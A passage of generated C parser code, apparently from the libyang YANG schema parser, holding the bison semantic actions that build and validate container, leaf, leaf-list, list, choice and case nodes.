actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n data_node = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 249:\n\n { (yyval.nodes).grouping = actual; }\n\n break;\n\n case 250:\n\n { if ((yyvsp[-1].nodes).grouping->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).grouping, \"status\", \"grouping\");\n YYABORT;\n }\n (yyvsp[-1].nodes).grouping->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 251:\n\n { if (yang_read_description(trg, (yyvsp[-1].nodes).grouping, s, \"grouping\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 252:\n\n { if (yang_read_reference(trg, (yyvsp[-1].nodes).grouping, s, \"grouping\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 257:\n\n { if (trg->version < 2) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_LYS, (yyvsp[-2].nodes).grouping, \"notification\");\n YYABORT;\n }\n }\n\n break;\n\n case 266:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_node(trg, actual, param->node, s, LYS_CONTAINER, sizeof(struct lys_node_container)))) {\n YYABORT;\n }\n data_node = actual;\n s = NULL;\n actual_type = CONTAINER_KEYWORD;\n }\n\n break;\n\n case 267:\n\n { LOGDBG(LY_LDGYANG, \"finished parsing container statement \\\"%s\\\"\", data_node->name);\n actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n data_node = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 269:\n\n { void *tmp;\n\n if ((yyvsp[-1].nodes).container->iffeature_size) {\n tmp = realloc((yyvsp[-1].nodes).container->iffeature, (yyvsp[-1].nodes).container->iffeature_size * sizeof *(yyvsp[-1].nodes).container->iffeature);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).container->iffeature = tmp;\n }\n\n if ((yyvsp[-1].nodes).container->must_size) {\n tmp = realloc((yyvsp[-1].nodes).container->must, (yyvsp[-1].nodes).container->must_size * sizeof *(yyvsp[-1].nodes).container->must);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).container->must = tmp;\n }\n }\n\n break;\n\n case 270:\n\n { (yyval.nodes).container = actual; }\n\n break;\n\n case 274:\n\n { if (yang_read_presence(trg, (yyvsp[-1].nodes).container, s)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 275:\n\n { if ((yyvsp[-1].nodes).container->flags & LYS_CONFIG_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).container, \"config\", \"container\");\n YYABORT;\n }\n (yyvsp[-1].nodes).container->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 276:\n\n { if ((yyvsp[-1].nodes).container->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).container, \"status\", \"container\");\n YYABORT;\n }\n (yyvsp[-1].nodes).container->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 277:\n\n { if (yang_read_description(trg, (yyvsp[-1].nodes).container, s, \"container\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 278:\n\n { if (yang_read_reference(trg, (yyvsp[-1].nodes).container, s, \"container\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 281:\n\n { if (trg->version < 2) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_LYS, (yyvsp[-2].nodes).container, \"notification\");\n YYABORT;\n }\n }\n\n break;\n\n case 284:\n\n { void *tmp;\n\n if (!((yyvsp[-1].nodes).node.flag & LYS_TYPE_DEF)) {\n LOGVAL(trg->ctx, LYE_MISSCHILDSTMT, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaf, \"type\", \"leaf\");\n YYABORT;\n }\n if ((yyvsp[-1].nodes).node.ptr_leaf->dflt && ((yyvsp[-1].nodes).node.ptr_leaf->flags & LYS_MAND_TRUE)) {\n /* RFC 6020, 7.6.4 - default statement must not with mandatory true */\n LOGVAL(trg->ctx, LYE_INCHILDSTMT, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaf, \"mandatory\", \"leaf\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaf, \"The \\\"mandatory\\\" statement is forbidden on leaf with \\\"default\\\".\");\n YYABORT;\n }\n\n if ((yyvsp[-1].nodes).node.ptr_leaf->iffeature_size) {\n tmp = realloc((yyvsp[-1].nodes).node.ptr_leaf->iffeature, (yyvsp[-1].nodes).node.ptr_leaf->iffeature_size * sizeof *(yyvsp[-1].nodes).node.ptr_leaf->iffeature);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_leaf->iffeature = tmp;\n }\n\n if ((yyvsp[-1].nodes).node.ptr_leaf->must_size) {\n tmp = realloc((yyvsp[-1].nodes).node.ptr_leaf->must, (yyvsp[-1].nodes).node.ptr_leaf->must_size * sizeof *(yyvsp[-1].nodes).node.ptr_leaf->must);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_leaf->must = tmp;\n }\n\n LOGDBG(LY_LDGYANG, \"finished parsing leaf statement \\\"%s\\\"\", data_node->name);\n actual_type = (yyvsp[-4].backup_token).token;\n actual = (yyvsp[-4].backup_token).actual;\n data_node = (yyvsp[-4].backup_token).actual;\n }\n\n break;\n\n case 285:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_node(trg, actual, param->node, s, LYS_LEAF, sizeof(struct lys_node_leaf)))) {\n YYABORT;\n }\n data_node = actual;\n s = NULL;\n actual_type = LEAF_KEYWORD;\n }\n\n break;\n\n case 286:\n\n { (yyval.nodes).node.ptr_leaf = actual;\n (yyval.nodes).node.flag = 0;\n }\n\n break;\n\n case 289:\n\n { (yyvsp[-2].nodes).node.flag |= LYS_TYPE_DEF;\n (yyval.nodes) = (yyvsp[-2].nodes);\n }\n\n break;\n\n case 290:\n\n { if (yang_read_units(trg, (yyvsp[-1].nodes).node.ptr_leaf, s, LEAF_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 292:\n\n { if (yang_read_default(trg, (yyvsp[-1].nodes).node.ptr_leaf, s, LEAF_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 293:\n\n { if ((yyvsp[-1].nodes).node.ptr_leaf->flags & LYS_CONFIG_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaf, \"config\", \"leaf\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_leaf->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 294:\n\n { if ((yyvsp[-1].nodes).node.ptr_leaf->flags & LYS_MAND_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaf, \"mandatory\", \"leaf\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_leaf->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 295:\n\n { if ((yyvsp[-1].nodes).node.ptr_leaf->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaf, \"status\", \"leaf\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_leaf->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 296:\n\n { if (yang_read_description(trg, (yyvsp[-1].nodes).node.ptr_leaf, s, \"leaf\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 297:\n\n { if (yang_read_reference(trg, (yyvsp[-1].nodes).node.ptr_leaf, s, \"leaf\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 298:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_node(trg, actual, param->node, s, LYS_LEAFLIST, sizeof(struct lys_node_leaflist)))) {\n YYABORT;\n }\n data_node = actual;\n s = NULL;\n actual_type = LEAF_LIST_KEYWORD;\n }\n\n break;\n\n case 299:\n\n { void *tmp;\n\n if ((yyvsp[-1].nodes).node.ptr_leaflist->flags & LYS_CONFIG_R) {\n /* RFC 6020, 7.7.5 - ignore ordering when the list represents state data\n * ignore oredering MASK - 0x7F\n */\n (yyvsp[-1].nodes).node.ptr_leaflist->flags &= 0x7F;\n }\n if (!((yyvsp[-1].nodes).node.flag & LYS_TYPE_DEF)) {\n LOGVAL(trg->ctx, LYE_MISSCHILDSTMT, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaflist, \"type\", \"leaf-list\");\n YYABORT;\n }\n if ((yyvsp[-1].nodes).node.ptr_leaflist->dflt_size && (yyvsp[-1].nodes).node.ptr_leaflist->min) {\n LOGVAL(trg->ctx, LYE_INCHILDSTMT, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaflist, \"min-elements\", \"leaf-list\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaflist,\n \"The \\\"min-elements\\\" statement with non-zero value is forbidden on leaf-lists with the \\\"default\\\" statement.\");\n YYABORT;\n }\n\n if ((yyvsp[-1].nodes).node.ptr_leaflist->iffeature_size) {\n tmp = realloc((yyvsp[-1].nodes).node.ptr_leaflist->iffeature, (yyvsp[-1].nodes).node.ptr_leaflist->iffeature_size * sizeof *(yyvsp[-1].nodes).node.ptr_leaflist->iffeature);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_leaflist->iffeature = tmp;\n }\n\n if ((yyvsp[-1].nodes).node.ptr_leaflist->must_size) {\n tmp = realloc((yyvsp[-1].nodes).node.ptr_leaflist->must, (yyvsp[-1].nodes).node.ptr_leaflist->must_size * sizeof *(yyvsp[-1].nodes).node.ptr_leaflist->must);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_leaflist->must = tmp;\n }\n\n if ((yyvsp[-1].nodes).node.ptr_leaflist->dflt_size) {\n tmp = realloc((yyvsp[-1].nodes).node.ptr_leaflist->dflt, (yyvsp[-1].nodes).node.ptr_leaflist->dflt_size * sizeof *(yyvsp[-1].nodes).node.ptr_leaflist->dflt);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_leaflist->dflt = tmp;\n }\n\n LOGDBG(LY_LDGYANG, \"finished parsing leaf-list statement \\\"%s\\\"\", data_node->name);\n actual_type = (yyvsp[-4].backup_token).token;\n actual = (yyvsp[-4].backup_token).actual;\n data_node = (yyvsp[-4].backup_token).actual;\n }\n\n break;\n\n case 300:\n\n { (yyval.nodes).node.ptr_leaflist = actual;\n (yyval.nodes).node.flag = 0;\n }\n\n break;\n\n case 303:\n\n { (yyvsp[-2].nodes).node.flag |= LYS_TYPE_DEF;\n (yyval.nodes) = (yyvsp[-2].nodes);\n }\n\n break;\n\n case 304:\n\n { if (trg->version < 2) {\n free(s);\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaflist, \"default\");\n YYABORT;\n }\n YANG_ADDELEM((yyvsp[-1].nodes).node.ptr_leaflist->dflt,\n (yyvsp[-1].nodes).node.ptr_leaflist->dflt_size, \"defaults\");\n (*(const char **)actual) = lydict_insert_zc(param->module->ctx, s);\n s = NULL;\n actual = (yyvsp[-1].nodes).node.ptr_leaflist;\n }\n\n break;\n\n case 305:\n\n { if (yang_read_units(trg, (yyvsp[-1].nodes).node.ptr_leaflist, s, LEAF_LIST_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 307:\n\n { if ((yyvsp[-1].nodes).node.ptr_leaflist->flags & LYS_CONFIG_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaflist, \"config\", \"leaf-list\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_leaflist->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 308:\n\n { if ((yyvsp[-1].nodes).node.flag & LYS_MIN_ELEMENTS) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaflist, \"min-elements\", \"leaf-list\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_leaflist->min = (yyvsp[0].uint);\n (yyvsp[-1].nodes).node.flag |= LYS_MIN_ELEMENTS;\n (yyval.nodes) = (yyvsp[-1].nodes);\n if ((yyvsp[-1].nodes).node.ptr_leaflist->max && ((yyvsp[-1].nodes).node.ptr_leaflist->min > (yyvsp[-1].nodes).node.ptr_leaflist->max)) {\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaflist, \"Invalid value \\\"%d\\\" of \\\"%s\\\".\", (yyvsp[0].uint), \"min-elements\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaflist, \"\\\"min-elements\\\" is bigger than \\\"max-elements\\\".\");\n YYABORT;\n }\n }\n\n break;\n\n case 309:\n\n { if ((yyvsp[-1].nodes).node.flag & LYS_MAX_ELEMENTS) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaflist, \"max-elements\", \"leaf-list\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_leaflist->max = (yyvsp[0].uint);\n (yyvsp[-1].nodes).node.flag |= LYS_MAX_ELEMENTS;\n (yyval.nodes) = (yyvsp[-1].nodes);\n if ((yyvsp[-1].nodes).node.ptr_leaflist->min > (yyvsp[-1].nodes).node.ptr_leaflist->max) {\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaflist, \"Invalid value \\\"%d\\\" of \\\"%s\\\".\", (yyvsp[0].uint), \"max-elements\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaflist, \"\\\"max-elements\\\" is smaller than \\\"min-elements\\\".\");\n YYABORT;\n }\n }\n\n break;\n\n case 310:\n\n { if ((yyvsp[-1].nodes).node.flag & LYS_ORDERED_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaflist, \"ordered by\", \"leaf-list\");\n YYABORT;\n }\n if ((yyvsp[0].i) & LYS_USERORDERED) {\n (yyvsp[-1].nodes).node.ptr_leaflist->flags |= LYS_USERORDERED;\n }\n (yyvsp[-1].nodes).node.flag |= (yyvsp[0].i);\n (yyval.nodes) = (yyvsp[-1].nodes);\n }\n\n break;\n\n case 311:\n\n { if ((yyvsp[-1].nodes).node.ptr_leaflist->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_leaflist, \"status\", \"leaf-list\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_leaflist->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 312:\n\n { if (yang_read_description(trg, (yyvsp[-1].nodes).node.ptr_leaflist, s, \"leaf-list\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 313:\n\n { if (yang_read_reference(trg, (yyvsp[-1].nodes).node.ptr_leaflist, s, \"leaf-list\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 314:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_node(trg, actual, param->node, s, LYS_LIST, sizeof(struct lys_node_list)))) {\n YYABORT;\n }\n data_node = actual;\n s = NULL;\n actual_type = LIST_KEYWORD;\n }\n\n break;\n\n case 315:\n\n { void *tmp;\n\n if ((yyvsp[-1].nodes).node.ptr_list->iffeature_size) {\n tmp = realloc((yyvsp[-1].nodes).node.ptr_list->iffeature, (yyvsp[-1].nodes).node.ptr_list->iffeature_size * sizeof *(yyvsp[-1].nodes).node.ptr_list->iffeature);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_list->iffeature = tmp;\n }\n\n if ((yyvsp[-1].nodes).node.ptr_list->must_size) {\n tmp = realloc((yyvsp[-1].nodes).node.ptr_list->must, (yyvsp[-1].nodes).node.ptr_list->must_size * sizeof *(yyvsp[-1].nodes).node.ptr_list->must);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_list->must = tmp;\n }\n\n if ((yyvsp[-1].nodes).node.ptr_list->tpdf_size) {\n tmp = realloc((yyvsp[-1].nodes).node.ptr_list->tpdf, (yyvsp[-1].nodes).node.ptr_list->tpdf_size * sizeof *(yyvsp[-1].nodes).node.ptr_list->tpdf);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_list->tpdf = tmp;\n }\n\n if ((yyvsp[-1].nodes).node.ptr_list->unique_size) {\n tmp = realloc((yyvsp[-1].nodes).node.ptr_list->unique, (yyvsp[-1].nodes).node.ptr_list->unique_size * sizeof *(yyvsp[-1].nodes).node.ptr_list->unique);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_list->unique = tmp;\n }\n\n LOGDBG(LY_LDGYANG, \"finished parsing list statement \\\"%s\\\"\", data_node->name);\n actual_type = (yyvsp[-4].backup_token).token;\n actual = (yyvsp[-4].backup_token).actual;\n data_node = (yyvsp[-4].backup_token).actual;\n }\n\n break;\n\n case 316:\n\n { (yyval.nodes).node.ptr_list = actual;\n (yyval.nodes).node.flag = 0;\n }\n\n break;\n\n case 320:\n\n { if ((yyvsp[-1].nodes).node.ptr_list->keys) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_list, \"key\", \"list\");\n free(s);\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_list->keys = (struct lys_node_leaf **)s;\n (yyval.nodes) = (yyvsp[-1].nodes);\n s = NULL;\n }\n\n break;\n\n case 321:\n\n { YANG_ADDELEM((yyvsp[-1].nodes).node.ptr_list->unique, (yyvsp[-1].nodes).node.ptr_list->unique_size, \"uniques\");\n ((struct lys_unique *)actual)->expr = (const char **)s;\n (yyval.nodes) = (yyvsp[-1].nodes);\n s = NULL;\n actual = (yyvsp[-1].nodes).node.ptr_list;\n }\n\n break;\n\n case 322:\n\n { if ((yyvsp[-1].nodes).node.ptr_list->flags & LYS_CONFIG_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_list, \"config\", \"list\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_list->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 323:\n\n { if ((yyvsp[-1].nodes).node.flag & LYS_MIN_ELEMENTS) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_list, \"min-elements\", \"list\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_list->min = (yyvsp[0].uint);\n (yyvsp[-1].nodes).node.flag |= LYS_MIN_ELEMENTS;\n (yyval.nodes) = (yyvsp[-1].nodes);\n if ((yyvsp[-1].nodes).node.ptr_list->max && ((yyvsp[-1].nodes).node.ptr_list->min > (yyvsp[-1].nodes).node.ptr_list->max)) {\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_list, \"Invalid value \\\"%d\\\" of \\\"%s\\\".\", (yyvsp[0].uint), \"min-elements\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_list, \"\\\"min-elements\\\" is bigger than \\\"max-elements\\\".\");\n YYABORT;\n }\n }\n\n break;\n\n case 324:\n\n { if ((yyvsp[-1].nodes).node.flag & LYS_MAX_ELEMENTS) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_list, \"max-elements\", \"list\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_list->max = (yyvsp[0].uint);\n (yyvsp[-1].nodes).node.flag |= LYS_MAX_ELEMENTS;\n (yyval.nodes) = (yyvsp[-1].nodes);\n if ((yyvsp[-1].nodes).node.ptr_list->min > (yyvsp[-1].nodes).node.ptr_list->max) {\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_list, \"Invalid value \\\"%d\\\" of \\\"%s\\\".\", (yyvsp[0].uint), \"min-elements\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_list, \"\\\"max-elements\\\" is smaller than \\\"min-elements\\\".\");\n YYABORT;\n }\n }\n\n break;\n\n case 325:\n\n { if ((yyvsp[-1].nodes).node.flag & LYS_ORDERED_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_list, \"ordered by\", \"list\");\n YYABORT;\n }\n if ((yyvsp[0].i) & LYS_USERORDERED) {\n (yyvsp[-1].nodes).node.ptr_list->flags |= LYS_USERORDERED;\n }\n (yyvsp[-1].nodes).node.flag |= (yyvsp[0].i);\n (yyval.nodes) = (yyvsp[-1].nodes);\n }\n\n break;\n\n case 326:\n\n { if ((yyvsp[-1].nodes).node.ptr_list->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_list, \"status\", \"list\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_list->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 327:\n\n { if (yang_read_description(trg, (yyvsp[-1].nodes).node.ptr_list, s, \"list\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 328:\n\n { if (yang_read_reference(trg, (yyvsp[-1].nodes).node.ptr_list, s, \"list\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 332:\n\n { if (trg->version < 2) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_LYS, (yyvsp[-2].nodes).node.ptr_list, \"notification\");\n YYABORT;\n }\n }\n\n break;\n\n case 334:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_node(trg, actual, param->node, s, LYS_CHOICE, sizeof(struct lys_node_choice)))) {\n YYABORT;\n }\n data_node = actual;\n s = NULL;\n actual_type = CHOICE_KEYWORD;\n }\n\n break;\n\n case 335:\n\n { LOGDBG(LY_LDGYANG, \"finished parsing choice statement \\\"%s\\\"\", data_node->name);\n actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n data_node = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 337:\n\n { struct lys_iffeature *tmp;\n\n if (((yyvsp[-1].nodes).node.ptr_choice->flags & LYS_MAND_TRUE) && (yyvsp[-1].nodes).node.ptr_choice->dflt) {\n LOGVAL(trg->ctx, LYE_INCHILDSTMT, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_choice, \"default\", \"choice\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_choice, \"The \\\"default\\\" statement is forbidden on choices with \\\"mandatory\\\".\");\n YYABORT;\n }\n\n if ((yyvsp[-1].nodes).node.ptr_choice->iffeature_size) {\n tmp = realloc((yyvsp[-1].nodes).node.ptr_choice->iffeature, (yyvsp[-1].nodes).node.ptr_choice->iffeature_size * sizeof *tmp);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_choice->iffeature = tmp;\n }\n }\n\n break;\n\n case 338:\n\n { (yyval.nodes).node.ptr_choice = actual;\n (yyval.nodes).node.flag = 0;\n }\n\n break;\n\n case 341:\n\n { if ((yyvsp[-1].nodes).node.flag & LYS_CHOICE_DEFAULT) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_choice, \"default\", \"choice\");\n free(s);\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_choice->dflt = (struct lys_node *) s;\n s = NULL;\n (yyval.nodes) = (yyvsp[-1].nodes);\n (yyval.nodes).node.flag |= LYS_CHOICE_DEFAULT;\n }\n\n break;\n\n case 342:\n\n { if ((yyvsp[-1].nodes).node.ptr_choice->flags & LYS_CONFIG_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_choice, \"config\", \"choice\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_choice->flags |= (yyvsp[0].i);\n (yyval.nodes) = (yyvsp[-1].nodes);\n }\n\n break;\n\n case 343:\n\n { if ((yyvsp[-1].nodes).node.ptr_choice->flags & LYS_MAND_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_choice, \"mandatory\", \"choice\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_choice->flags |= (yyvsp[0].i);\n (yyval.nodes) = (yyvsp[-1].nodes);\n }\n\n break;\n\n case 344:\n\n { if ((yyvsp[-1].nodes).node.ptr_choice->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_choice, \"status\", \"choice\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_choice->flags |= (yyvsp[0].i);\n (yyval.nodes) = (yyvsp[-1].nodes);\n }\n\n break;\n\n case 345:\n\n { if (yang_read_description(trg, (yyvsp[-1].nodes).node.ptr_choice, s, \"choice\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n (yyval.nodes) = (yyvsp[-1].nodes);\n }\n\n break;\n\n case 346:\n\n { if (yang_read_reference(trg, (yyvsp[-1].nodes).node.ptr_choice, s, \"choice\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n (yyval.nodes) = (yyvsp[-1].nodes);\n }\n\n break;\n\n case 356:\n\n { if (trg->version < 2 ) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_LYS, actual, \"choice\");\n YYABORT;\n }\n }\n\n break;\n\n case 357:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_node(trg, actual, param->node, s, LYS_CASE, sizeof(struct lys_node_case)))) {\n YYABORT;\n }\n data_node = actual;\n s = NULL;\n actual_type = CASE_KEYWORD;\n }\n\n break;\n\n case 358:\n\n { LOGDBG(LY_LDGYANG, \"finished parsing case statement \\\"%s\\\"\", data_node->name);\n actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n data_node = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 360:\n\n { struct lys_iffeature *tmp;\n\n if ((yyvsp[-1].nodes).cs->iffeature_size) {\n tmp = realloc((yyvsp[-1].nodes).cs->iffeature, (yyvsp[-1].nodes).cs->iffeature_size * sizeof *tmp);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).cs->iffeature = tmp;\n }\n }\n\n break;\n\n case 361:\n\n { (yyval.nodes).cs = actual; }\n\n break;\n\n case 364:\n\n { if ((yyvsp[-1].nodes).cs->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).cs, \"status\", \"case\");\n YYABORT;\n }\n (yyvsp[-1].nodes).cs->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 365:\n\n { if (yang_read_description(trg, (yyvsp[-1].nodes).cs, s, \"case\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 366:\n\n { if (yang_read_reference(trg, (yyvsp[-1].nodes).cs, s, \"case\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 368:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_node(trg, actual, param->node, s, LYS_ANYXML, sizeof(struct lys_node_anydata)))) {\n YYABORT;\n }\n data_node = actual;\n s = NULL;\n actual_type = ANYXML_KEYWORD;\n }\n\n break;\n\n case 369:\n\n { LOGDBG(LY_LDGYANG, \"finished parsing anyxml statement \\\"%s\\\"\", data_node->name);\n actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n data_node = 